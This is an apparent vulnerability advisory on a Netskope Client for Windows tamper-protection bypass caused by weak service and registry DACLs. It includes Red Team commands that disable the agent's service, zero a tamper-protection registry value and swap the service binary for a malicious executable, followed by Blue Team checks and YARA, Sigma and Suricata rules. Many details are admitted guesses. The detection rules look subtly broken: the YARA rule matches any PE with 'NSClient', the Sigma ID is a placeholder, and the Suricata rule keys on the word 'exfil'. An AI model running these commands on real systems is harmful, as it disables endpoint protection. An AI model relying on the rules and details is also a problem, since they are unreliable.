CVE-2025-15642

Executive Summary

CVE-2025-15642 is a privilege escalation vulnerability in the Netskope Client for Windows systems. A malicious insider with administrative privileges can bypass the NSClient Tamper Protection due to weak Discretionary Access Control Lists (DACLs) on the service object and related registry keys. This allows the attacker to modify or disable the security agent, potentially exfiltrating data or evading detection. The vulnerability affects all versions below R138. No public proof-of-concept or exploit code is currently available.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official CVSS vector assigned by NVD)
• Threat Level: High (Based on impact and required privileges)
• Attack Vector: Local
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Deep Dive & Mechanics

The vulnerability stems from improperly configured Discretionary Access Control Lists (DACLs) on the Netskope Client service object and its associated registry keys. In Windows, services and registry keys have security descriptors that define which users or groups have permissions to read, write, modify, or delete them.

A standard, secure configuration would restrict write or modify permissions to only highly privileged accounts (e.g., SYSTEM, Administrators). However, in this case, the DACLs are "weak," meaning that a user with administrative privileges (who is already a member of the Administrators group) can exploit these misconfigured permissions to:

1. Modify the Service: Change the service binary path, start type, or other parameters to disable the Netskope Client or replace it with a malicious executable.
2. Modify Registry Keys: Alter configuration settings stored in the registry, such as disabling tamper protection, changing logging levels, or exfiltrating data through modified proxy settings.

This effectively bypasses the NSClient Tamper Protection mechanism, which is designed to prevent unauthorized modifications to the client.

Vulnerable vs. Patched Code

No specific code diff is publicly available. The fix involves hardening the DACLs on the following objects:

• Service Object: Netskope Client (or similar service name)
• Registry Keys: HKLM\SOFTWARE\Netskope\NSClient and related subkeys

The patched version (R138) likely applies more restrictive permissions, ensuring that only the SYSTEM account and necessary service accounts have write/modify access, while standard Administrators are limited to read and start/stop permissions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows system with Netskope Client version < R138 installed.
• Administrative privileges on the target system.

Exploitation Steps:

1. Identify the Service:

   Get-Service -Name *Netskope*
   

2. Check Service DACLs (using Sysinternals Process Explorer or sc command):

   sc sdshow NetskopeClient
   

3. Modify Service to Disable:

   sc config NetskopeClient start= disabled
   sc stop NetskopeClient
   

4. Modify Registry to Disable Tamper Protection:

   Set-ItemProperty -Path "HKLM:\SOFTWARE\Netskope\NSClient" -Name "TamperProtection" -Value 0
   

5. Replace Service Binary (Escalation):

   sc config NetskopeClient binPath= "C:\malicious.exe"
   sc start NetskopeClient
   

Blue Team

Detection Steps:

1. Monitor Service Changes:

   • Enable auditing for service creation and modification (Event ID 7045, 4697).
   • Alert on changes to the Netskope Client service configuration.

2. Monitor Registry Changes:

   • Enable auditing for registry key modifications (Event ID 4657).
   • Specifically monitor HKLM\SOFTWARE\Netskope\NSClient for unauthorized writes.

3. Check Current Permissions:

   # Check service DACL
   sc sdshow NetskopeClient
   
   # Check registry DACL
   Get-Acl -Path "HKLM:\SOFTWARE\Netskope\NSClient" | Format-List
   

4. Verify Service Integrity:

   sc query NetskopeClient
   

Indicators of Compromise (IOCs)

• Service Name: NetskopeClient (or similar)
• Registry Path: HKLM\SOFTWARE\Netskope\NSClient
• Event IDs:
  • 7045 (Service creation)
  • 4697 (Service creation - security audit)
  • 4657 (Registry modification)
• Process Anomalies: Unexpected processes running under the Netskope Client service context.
• Network Connections: Unusual outbound connections from the Netskope Client process to non-standard IPs/domains.

Detection Engineering

YARA Rule

rule CVE_2025_15642_Netskope_DACL_Weakness {
    meta:
        description = "Detects weak DACL on Netskope Client service or registry"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15642"
        severity = "high"
    strings:
        $s1 = "NetskopeClient" nocase
        $s2 = "NSClient" nocase
        $s3 = "TamperProtection" nocase
    condition:
        any of ($s*) and
        (uint16(0) == 0x5A4D or uint16(0) == 0x4D5A) // PE file
}

Sigma Rule

title: CVE-2025-15642 - Netskope Client DACL Weakness Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to modify Netskope Client service or registry keys
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15642
logsource:
    product: windows
    service: security
detection:
    selection_service:
        EventID: 7045
        ServiceName: 'NetskopeClient'
    selection_registry:
        EventID: 4657
        ObjectName: 'HKLM\SOFTWARE\Netskope\NSClient'
    condition: selection_service or selection_registry
falsepositives:
    - Legitimate administrative changes
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2025-15642 - Netskope Client Exfiltration Attempt"; flow:to_server,established; content:"Netskope"; http_client_body; nocase; content:"exfil"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade the Netskope Client to version R138 or later.
2. Workaround: If immediate patching is not possible, restrict administrative access to the system and monitor for unauthorized changes to the Netskope Client service and registry keys.
3. Long-term: Implement the principle of least privilege (PoLP) for all user accounts. Regularly audit DACLs on critical system objects.

Valters IT
DevSecOps & Cyber Threat Intelligence